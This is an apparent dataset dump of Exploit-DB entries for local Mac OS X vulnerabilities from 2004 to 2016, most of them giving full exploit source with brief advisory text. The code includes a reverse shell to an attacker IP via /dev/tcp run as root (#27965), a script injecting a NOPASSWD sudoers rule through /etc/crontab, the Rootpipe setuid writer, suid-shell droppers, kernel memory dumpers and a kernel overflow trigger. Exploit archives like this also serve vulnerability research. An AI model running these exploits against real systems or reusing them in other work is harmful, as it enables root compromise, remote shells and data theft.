deardaniel/secdata-raw huggingface dataset:
Exploit-DB #29194
Description: Apple Mac OSX 10.4.x - AppleTalk AIOCRegLocalZN IOCTL Stack Buffer Overflow
Type: local
Platform: osx
Date: 2006-11-27
Author: LMH

Exploit:
// source: https://www.securityfocus.com/bid/21317/info

Apple Mac OS X is prone to a local memory-corruption vulnerability. This issue occurs when the operating system fails to handle specially crafted arguments to an IOCTL call. 

Due to the nature of this issue, an attacker may be able to execute arbitrary machine code in the context of the affected kernel, but this has not been confirmed. Failed exploit attempts result in kernel panics, denying service to legitimate users.

Mac OS X version 10.4.8 is vulnerable to this issue; other versions may also be affected.

/*
 * Copyright 2006 (c) LMH <lmh@info-pull.com>.
 * All Rights Reserved.
 * ----           
 *
 *               .--. .--.           _____________________________________
 *          _..-: (X :  o :-.._     / heya! me Gruber Duckie. I'm an über |
 *      .-''    `.__.:.__.'    ``-./___    proud zealot and Mac Beggar!   |
 *    .'          .'   `.          `.  \__________________________________|
 *   :  '.        :     :        .'  ;  (...fear my Delusional Zealot Army !)
 *   :    :-..__  `.___.'  __..-;    ;
 *   `.    `.   ''-------''   .'    ,'
 *     `.    `.             .'    .' 
 *       `._   `-._     _.-'   _.'   kudos to ilja, kevin, hdm, johnnycsh, et al.
 *          `-._   '"'"'   _.-'      proof of concept for MOKB-27-11-2006.
 *              ``-------''
 */

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdarg.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/sockio.h>

typedef struct at_state {
	unsigned int	flags;
} at_state_t;

/* if testing on PPC, you need to use the proper values. read netat/at_var.h */
#undef	AF_APPLETALK
#define AIOCGETSTATE	0x8021610b	/* get AT global state */
#define AIOCREGLOCALZN	0x8021610b
#define AT_ST_STARTED	0x0001
#define	AF_APPLETALK	0x10

char powder[4096];

unsigned long do_semtex(char *p, size_t len) {
	int i;
    size_t longsize = sizeof(long);
    unsigned long *daringwussball;

	daringwussball = (unsigned long *)p;
	for (i = 0; i < len; i+=longsize) {
		*daringwussball++ = 0x61;
	}

	return (unsigned long)&powder;
}

int main(int argc, char **argv) {
        int fd;
        at_state_t global_state;
		unsigned long pkt;

        if ((fd = socket(AF_APPLETALK, SOCK_RAW, 0)) < 0)
                exit(1);

		/* check if AppleTalk stack has been started */
        if (ioctl(fd, AIOCGETSTATE, &global_state) < 0) {
                close(fd);
                exit(2);
        }

        if (global_state.flags & AT_ST_STARTED) {
                printf("appletalk-exploit-1: 0x%08x\n", global_state);
        } else {
                printf("appletalk-exploit-1: AppleTalk isn't enabled!\n");
                exit(3);
        }

		pkt = do_semtex(powder, sizeof(powder));
		ioctl(fd, AIOCREGLOCALZN, pkt);

        close(fd);
        return 0;
}
Exploit-DB #29190
Description: Apple Mac OSX 10.4.x - Mach-O Binary Loading Integer Overflow
Type: local
Platform: osx
Date: 2006-11-26
Author: LMH

Exploit:
source: https://www.securityfocus.com/bid/21291/info

Apple Mac OS X is prone to a local integer-overflow vulnerability. This issue occurs when the operating system fails to handle specially crafted binaries. 

A successful exploit would allow a local attacker to execute arbitrary code with kernel-level privileges, leading to the complete compromise of affected computers. Failed exploit attempts will result in a denial-of-service condition.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29190.bz2
Exploit-DB #35488
Description: Apple Mac OSX 10.6.x - HFS Subsystem Information Disclosure
Type: local
Platform: osx
Date: 2011-03-21
Author: Dan Rosenberg

Exploit:
// source: https://www.securityfocus.com/bid/46982/info

Apple Mac OS X is prone to a local information-disclosure vulnerability because of an integer-overflow error in the HFS subsystem.

A local attacker can exploit this issue to obtain sensitive information that may lead to further attacks. Due to the nature of this issue, local attackers may be able to execute arbitrary code in the context of the kernel, but this has not been confirmed.

Versions prior to OS X 10.6.7 are vulnerable.

NOTE: This issue was previously discussed in BID 46950 (Apple Mac OS X Prior to 10.6.7 Multiple Security Vulnerabilities) but has been given its own record to better document it. 

/*
 * Apple HFS+ F_READBOOTSTRAP Information Disclosure
 * by Dan Rosenberg of Virtual Security Research, LLC
 * @djrbliss on twitter
 *
 * Usage:
 * $ gcc hfs-dump.c -o hfs-dump
 * $ ./hfs-dump [size] [outfile]
 *
 * ----
 *
 * F_READBOOTSTRAP is an HFS+ fcntl designed to allow unprivileged callers to
 * retrieve the first 1024 bytes of the filesystem, which contains information
 * related to bootstrapping.
 *
 * However, due to an integer overflow in checking the requested range of
 * bytes, it is possible to retrieve arbitrary filesystem blocks, leading to an
 * information disclosure vulnerability.
 *
 * This issue was originally reported to Apple on July 1, 2010.  The fix was a
 * single line long and took more than 8 months to release.  No gold stars were
 * awarded.
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/fcntl.h>
#include <sys/mman.h>

int main(int argc, char * argv[])
{

	int fd, outfd, ret;
	long num;
	unsigned char * buf;
	struct fbootstraptransfer arg;

	if(argc != 3) {
		printf("[*] Usage: %s [size] [outfile]\n", argv[0]);
		return -1;
	}

	num = atol(argv[1]);

	outfd = open(argv[2], O_RDWR | O_CREAT, 0644);

	if(outfd < 0) {
		printf("[*] Failed to open output file.\n");
		return -1;
	}

	ftruncate(outfd, num);

	buf = (unsigned char *)mmap(NULL, num, PROT_READ | PROT_WRITE,
				    MAP_SHARED, outfd, 0);

	if(buf == MAP_FAILED) {
		printf("[*] Not enough memory.\n");
		return -1;
	}

	arg.fbt_buffer = buf;
	arg.fbt_offset = num * (-1);
	arg.fbt_length = num;
	
	fd = open("/", O_RDONLY);

	if(fd < 0) {
		printf("[*] Failed to open filesystem root.\n");
		return -1;
	}
	
	ret = fcntl(fd, F_READBOOTSTRAP, &arg);

	if(ret < 0) {
		printf("[*] fcntl failed.\n");
		return -1;
	}

	printf("[*] Successfully dumped %lu bytes to %s.\n", num, argv[2]);
	return 0;

}
Exploit-DB #27965
Description: Apple Mac OSX 10.8.4 - Local Privilege Escalation
Type: local
Platform: osx
Date: 2013-08-30
Author: David Kennedy (ReL1K)

Exploit:
#!/usr/bin/python

# Original MSF Module: 
# https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/osx/local/sudo_password_bypass.rb

###################################################################################################
# Exploit Title: OSX <= 10.8.4 Local Root Priv Escalation Root Reverse Shell
# Date: 08-27-2013
# Exploit Author: David Kennedy @ TrustedSec
# Website: https://www.trustedsec.com
# Twitter: @Dave_ReL1K
# Tested On: OSX 10.8.4
#
# Reference: http://www.exploit-db.com/exploits/27944/
#
# Example below:
# trustedsec:Desktop Dave$ python osx_esc.py 
# [*] Exploit has been performed. You should have a shell on ipaddr: 127.0.0.1 and port 4444
#
# attacker_box:~ Dave$ nc -l 4444
# bash: no job control in this shell
# bash-3.2# 
###################################################################################################
import subprocess

# IPADDR for REVERSE SHELL - change this to your attacker IP address
ipaddr = "192.168.1.1"

# PORT for REVERSE SHELL - change this to your attacker port address
port = "4444"

# drop into a root shell - replace 192.168.1.1 with the reverse listener
proc = subprocess.Popen('bash', shell=False, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
proc.stdin.write("systemsetup -setusingnetworktime Off -settimezone GMT -setdate 01:01:1970 -settime 00:00;sudo su\nbash -i >& /dev/tcp/%s/%s 0>&1 &\n" % (ipaddr,port))
print """
###############################################################
#
# OSX < 10.8.4 Local Root Priv Escalation Root Reverse Shell
#
# Written by: David Kennedy @ TrustedSec
# Website: https://www.trustedsec.com
# Twitter: @Dave_ReL1K
#
# Reference: http://www.exploit-db.com/exploits/27944/
###############################################################
"""
print "[*] Exploit has been performed. You should have a shell on ipaddr: %s and port %s" % (ipaddr,port)
Exploit-DB #38371
Description: Apple Mac OSX 10.9.5/10.10.5 - 'rsh/libmalloc' Local Privilege Escalation
Type: local
Platform: osx
Date: 2015-10-01
Author: rebel

Exploit:
# CVE-2015-5889: issetugid() + rsh + libmalloc osx local root
# tested on osx 10.9.5 / 10.10.5
# jul/2015
# by rebel

import os,time,sys

env = {}

s = os.stat("/etc/sudoers").st_size

env['MallocLogFile'] = '/etc/crontab'
env['MallocStackLogging'] = 'yes'
env['MallocStackLoggingDirectory'] = 'a\n* * * * * root echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers\n\n\n\n\n'

sys.stderr.write("creating /etc/crontab..")

p = os.fork()
if p == 0:	
	os.close(1)
	os.close(2)
	os.execve("/usr/bin/rsh",["rsh","localhost"],env)

time.sleep(1)

if "NOPASSWD" not in open("/etc/crontab").read():
	sys.stderr.write("failed\n")
	sys.exit(-1)

sys.stderr.write("done\nwaiting for /etc/sudoers to change (<60 seconds)..")

while os.stat("/etc/sudoers").st_size == s:
	sys.stderr.write(".")	
	time.sleep(1)

sys.stderr.write("\ndone\n")

os.system("sudo su")
Exploit-DB #31940
Description: Apple Mac OSX 10.x - Applescript ARDAgent Shell Privilege Escalation
Type: local
Platform: osx
Date: 2008-06-19
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/29831/info

Mac OS X is prone to a local privilege-escalation vulnerability affecting ARDAgent (Apple Remote Desktop).

Successful exploits allow local attackers to execute arbitrary code with superuser privileges, completely compromising the affected computer.

This issue is confirmed to affect Mac OS X 10.5 versions; earlier versions may also be vulnerable. 

osascript -e 'tell app "ARDAgent" to do shell script "whoami"';
Exploit-DB #28576
Description: Apple Mac OSX 10.x - KExtLoad Format String
Type: local
Platform: osx
Date: 2006-09-14
Author: Adriel T. Desautels

Exploit:
source: https://www.securityfocus.com/bid/20031/info

Apple Mac OS X 'kextload' is prone to a format-string vulnerability because it fails to sufficiently sanitize user-supplied input data.

This issue is not exploitable by itself, because kextload is not installed as a setuid-superuser application by default. To exploit this issue, an attacker must use another application running with elevated privileges in order to directly manipulate the arguments passed to kextload.

An attacker can exploit this issue to execute arbitrary machine code with superuser privileges. A successful exploit may result in the complete compromise of the affect computer.

Example of kextload format-string vulnerability affecting TDIXSupport:

netragard-test:$ ./TDIXSupport %x%x%x%x%x%x%/TDIXController.kext
kextload: /Library/Application Support/Roxio/90b4b6ca1c[PII_REDACTED][PII_REDACTED]62756e646c65/TDIXController.kext: no such bundle file exists can't add kernel extension %x%x%x%x%x%x%/TDIXController.kext (file access/permissions) (run kextload on this kext with -t for diagnostic output)
Exploit-DB #36692
Description: Apple Mac OSX < 10.7.5/10.8.2/10.9.5/10.10.2 - 'Rootpipe' Local Privilege Escalation
Type: local
Platform: osx
Date: 2015-04-09
Author: Emil Kvarnhammar

Exploit:
########################################################
#
#  PoC exploit code for rootpipe (CVE-2015-1130)
#
#  Created by Emil Kvarnhammar, TrueSec
#
#  Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2
#
########################################################
import os
import sys
import platform
import re
import ctypes
import objc
import sys
from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
from Foundation import NSAutoreleasePool

def load_lib(append_path):
    return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);

def use_old_api():
    return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0])


args = sys.argv

if len(args) != 3:
    print "usage: exploit.py source_binary dest_binary_as_root"
    sys.exit(-1)

source_binary = args[1]
dest_binary = os.path.realpath(args[2])

if not os.path.exists(source_binary):
    raise Exception("file does not exist!")

pool = NSAutoreleasePool.alloc().init()

attr = NSMutableDictionary.alloc().init()
attr.setValue_forKey_(04777, NSFilePosixPermissions)
data = NSData.alloc().initWithContentsOfFile_(source_binary)

print "will write file", dest_binary

if use_old_api():
    adm_lib = load_lib("/Admin.framework/Admin")
    Authenticator = objc.lookUpClass("Authenticator")
    ToolLiaison = objc.lookUpClass("ToolLiaison")
    SFAuthorization = objc.lookUpClass("SFAuthorization")

    authent = Authenticator.sharedAuthenticator()
    authref = SFAuthorization.authorization()

    # authref with value nil is not accepted on OS X <= 10.8
    authent.authenticateUsingAuthorizationSync_(authref)
    st = ToolLiaison.sharedToolLiaison()
    tool = st.tool()
    tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
else:
    adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")
    WriteConfigClient = objc.lookUpClass("WriteConfigClient")
    client = WriteConfigClient.sharedClient()
    client.authenticateUsingAuthorizationSync_(None)
    tool = client.remoteProxy()

    tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)


print "Done!"

del pool
Exploit-DB #4013
Description: Apple Mac OSX < 2007-005 - 'vpnd' Local Privilege Escalation
Type: local
Platform: osx
Date: 2007-05-30
Author: Kevin Finisterre

Exploit:
# Copyright (c) 2007 Kevin Finisterre <kf_lists [at] digitalmunition.com>
#
# CVE-ID: CVE-2007-0753 - http://docs.info.apple.com/article.html?artnum=305530

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/4013.tar.gz (05302007-vpenis.tar.gz)

# milw0rm.com [2007-05-30]
Exploit-DB #680
Description: Apple Mac OSX Adobe Version Cue - Local Privilege Escalation
Type: local
Platform: osx
Date: 2004-12-08
Author: Jonathan Bringhurst

Exploit:
Proof of concept:

haven:~ fintler$ cd ~
haven:~ fintler$ id
uid=502(fintler) gid=500(fintler) groups=500(fintler)
haven:~ fintler$ echo "cp /bin/sh /Users/$USER;chmod 4755
/Users/$USER/sh;chown root /Users/$USER/sh" > productname.sh
haven:~ fintler$ chmod 0755 ./productname.sh
haven:~ fintler$ ln -s /Applications/Adobe\ Version\ Cue/stopserver.sh .
haven:~ fintler$ ./stopserver.sh
Stopping  ...

./stopserver.sh: line 21: ./tomcat/bin/shutdown.sh: No such file or directory
No matching processes belonging to you were found
haven:~ fintler$ ./sh
sh-2.05b# id
uid=502(fintler) euid=0(root) gid=500(fintler) groups=500(fintler)
sh-2.05b# whoami
root
sh-2.05b#

# milw0rm.com [2004-12-08]
Exploit-DB #795
Description: Apple Mac OSX Adobe Version Cue - Local Privilege Escalation
Type: local
Platform: osx
Date: 2005-02-07
Author: 0xdeadbabe

Exploit:
#!/usr/bin/perl -w
#
#####by unl0ck-[0xdeadababe]
#[http://unl0ck.void.ru]
#[http://0xdeadbabe.blackhatz.info]
#-------------------------------------------------
#Only for challenge :) and Researche pruproses.
#####Distribution:
#-------------------------------------------------
#It's a fuck public code , not private.
#Fuck off trade bitchez.
#-------------------------------------------------
#####Appendix:
#-------------------------------------------------
#Mac OS X - Adobe Version Cue local root exploit
#it's a very lame exploit for Adobe Cue.
#-------------------------------------------------
#

if (@ARGV < 1)
 {
 print q(==========
[Mac OS X - Adobe Version Cue local root exploit]
USES: ./un_0wnz_macue.pl /path/to\ /yours/\ Adobe\ Cue/
--- by unl0ck-[0xdeadbabe] ---
==========
 );
 exit;
 }

$path  = $ARGV[1];

print "[~] Your current id is:\n";

system "id";

print "[~] Poisoning productname.sh...\n";

system('echo "cp /bin/sh /Users/$USER;chmod 4755 /Users/$USER/sh;chown root /Users/$USER/sh" > productname.sh') == 0 or die "[-] Not writeble dir.";

print "[~] Setting execute permission to poisoned script...\n";

system("chmod 0755 ./productname.sh") == 0 or die "[-] Productname.sh here not found.";

print "[~] Copy here stopserver.sh script...\n";

system("ln -s $path/stopserver.sh")== 0 or die "Can not copy stopserver.sh from Adobe Cue path.";

print "[~] Running the copyed stopserver.sh...\n";

system("./stopserver.sh")== 0 or die "Can not Run stopserver.sh.";

print "[!] Preloading r00t-shell for you..\n";

system ("./sh")== 0 or die "Can not preload suid-shell";

print '[+] Exploited. See to euid ;):';

print "\n";

system "id";

exit();

# milw0rm.com [2005-02-07]
Exploit-DB #38136
Description: Apple Mac OSX Install.Framework - SUID Root Runner Binary Privilege Escalation
Type: local
Platform: osx
Date: 2015-09-10
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=478

The Install.framework runner suid root binary does not correctly account for the fact that Distributed Objects
  can be connected to by multiple clients at the same time.

  By connecting two proxy objects to an IFInstallRunner and calling [IFInstallRunner makeReceiptDirAt:asRoot:]
  in the first and passing a custom object as the directory name we can get a callback to our code just after the
  makeReceiptDirAt code has called seteuid(0);setguid(0) to regain privs. Since BSD priviledges are per-process
  this means that our other proxy object will now have euid 0 without having to provide an authorization reference.

  In this second proxy we can then just call runTaskSecurely and get a root shell before returning from the first proxy's callback function
  which will then drop privs.

  build using the provided makefile and run passing the full path to the localhost shell

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38136.zip
Exploit-DB #19244
Description: Apple Mac OSX Server 10.0 - Overload
Type: local
Platform: osx
Date: 1999-06-03
Author: Juergen Schmidt

Exploit:
source: https://www.securityfocus.com/bid/306/info

A vulnerability in the MacOS X Server may crash it while under heavy load.

The vulnerability appears while stress testing a server running the Apache web server and 32 or more process are concurntly doing HTTP GET request to a CGI script in a loop. The system will panic and display a stack trace with ipc_task_init.

Although the vulnerability is not related to web servering it can only be reproduced so far using this means.


#!/bin/bash
#
# CGI-McPanic: script to crash MacOS X with 
#              concurrent calls to a CGI-Script
#
# before use, do:
# 
# chmod a+x /Local/Library/WebServer/CGI-Executables/test-cgi
#
# then call
#
# bash ./CGI-McPanic
#

NUMPROC=32
i=0

while [ $i -le $NUMPROC ]
do
    i=$[$i + 1]
    ab -t 3600 http://localhost/cgi-bin/test-cgi &
done
Exploit-DB #8108
Description: Apple Mac OSX xnu 1228.x - Local Kernel Memory Disclosure
Type: local
Platform: osx
Date: 2009-02-25
Author: mu-b

Exploit:
/* xnu-get_ldt.c
 *
 * Copyright (c) 2008 by <mu-b@digit-labs.org>
 *
 * Apple MACOS X xnu <= 1228.x local kernel memory disclosure
 * by mu-b - Wed 17 Dec 2008
 *
 * - Tested on: Apple MACOS X 10.5.5 (xnu-1228.8.20~1/RELEASE_I386)
 *
 * props to christer who originally found the bug in FreeBSD.
 *  (ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-05:07.ldt.asc)
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <architecture/i386/table.h>
#include <i386/user_ldt.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>

#define TMP_FILE  "/tmp/xnu-get_ldt"
#define READ_SIZE 0x2000000

int
main (int argc, char **argv)
{
  int fd, n, num_desc;
  void *ptr;

  printf ("Apple MACOS X xnu <= 1228.x local kernel memory disclosure\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  n = i386_get_ldt (0, ((int)NULL) + 1, 0);
  if (n < 0)
    {
      fprintf (stderr, "failed i386_get_ldt(): %d\n", n);
      return (EXIT_FAILURE);
    }

  num_desc = n;
  printf ("i386_get_ldt: num_desc: %d\n", num_desc);

  fd = open (TMP_FILE, O_CREAT | O_RDWR, S_IRUSR | S_IWUSR);
  if (fd < 0)
    {
      fprintf (stderr, "failed open(): %d\n", fd);
      return (EXIT_FAILURE);
    }

  ptr = mmap (NULL, READ_SIZE, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0);
  if ((int) ptr == -1)
    {
      fprintf (stderr, "failed mmap()\n");
      return (EXIT_FAILURE);
    }

  memset (ptr, 0x00, READ_SIZE);
  i386_get_ldt (num_desc - 1, (union ldt_entry *) ptr, -(num_desc - 1));

  n = write (fd, ptr, READ_SIZE);
  munmap (ptr, READ_SIZE);
  close (fd);

  printf ("%d-bytes of kernel memory dumped to: %s\n", n, TMP_FILE);

  return (EXIT_SUCCESS);
}

// milw0rm.com [2009-02-25]
Exploit-DB #21070
Description: Apple Open Firmware 4.1.7/4.1.8 - Insecure Password
Type: local
Platform: osx
Date: 2001-08-15
Author: Macintosh Security

Exploit:
source: https://www.securityfocus.com/bid/3186/info

A user who has set an Open Firmware password on their Apple system believes it to be safe when powered down. There is a tool that any user with access to the Finder can run in order to reveal the Open Firmware password without any decryption.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21070.sit
Exploit-DB #44239
Description: Apple OS X 10.10.5 - 'rootsh' Local Privilege Escalation
Type: local
Platform: osx
Date: 2016-05-16
Author: Brandon Azad

Exploit:
## rootsh

rootsh is a local privilege escalation targeting OS X Yosemite 10.10.5 build
14F27. It exploits [CVE-2016-1758] and [CVE-2016-1828], two vulnerabilities in
XNU that were patched in OS X El Capitan [10.11.4] and [10.11.5]. rootsh will
not work on platforms with SMAP enabled.

[CVE-2016-1758]: https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2016-1758
[CVE-2016-1828]: https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2016-1828
[10.11.4]: https://support.apple.com/en-us/HT206167
[10.11.5]: https://support.apple.com/en-us/HT206567

### CVE-2016-1758

CVE-2016-1758 is an information leak caused by copying out uninitialized bytes
of kernel stack to user space. By comparing leaked kernel pointers with fixed
reference addresses it is possible to recover the kernel slide.

### CVE-2016-1828

CVE-2016-1828 is a use-after-free during object deserialization. By passing a
crafted binary-serialized dictionary into the kernel, it is possible to trigger
a virtual method invocation on an object with a controlled vtable pointer.

### License

The rootsh code is released into the public domain. As a courtesy I ask that if
you use any of this code in another project you attribute it to me.


Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44239.zip